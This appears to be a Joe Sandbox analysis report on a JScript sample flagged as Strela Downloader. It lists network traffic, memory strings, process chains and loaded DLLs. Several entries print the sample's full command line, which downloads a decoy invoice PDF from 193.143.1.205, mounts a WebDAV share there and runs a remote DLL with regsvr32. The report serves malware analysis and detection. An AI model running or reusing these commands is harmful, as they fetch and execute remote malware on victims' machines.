73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49712

Source: global traffic

TCP traffic: 192.168.2.6:49712 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.6:52633 -> 162.159.36.2:53

Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205
Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49710 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: 171.39.242.20.in-addr.arpa

Source: wscript.exe, 00000000.00000003.2151694861.000001FC560D0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2152876972.000001FC57D2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2154783061.000001FC57D30000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2154487569.000001FC5610C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2151694861.000001FC5610C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2152784419.000001FC57D22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2206250258.0000025BE2FE8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2206250258.0000025BE301A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2206250258.0000025BE303B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2206250258.0000025BE301A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/C.2
Source: net.exe, 00000007.00000002.2206250258.0000025BE301A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/S.
Source: net.exe, 00000007.00000002.2206250258.0000025BE2FE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 00000009.00000002.3434327723.00000165B8C00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2212204198.00000165B8960000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 432, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13289966116696.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13289966116696.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 15108208223119820474.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3608:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4sxvny44.3ct.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 15108208223119820474.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15108208223119820474.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13289966116696.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1552,i,1470255070831351174,15330560733074415454,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13289966116696.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1552,i,1470255070831351174,15330560733074415454,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
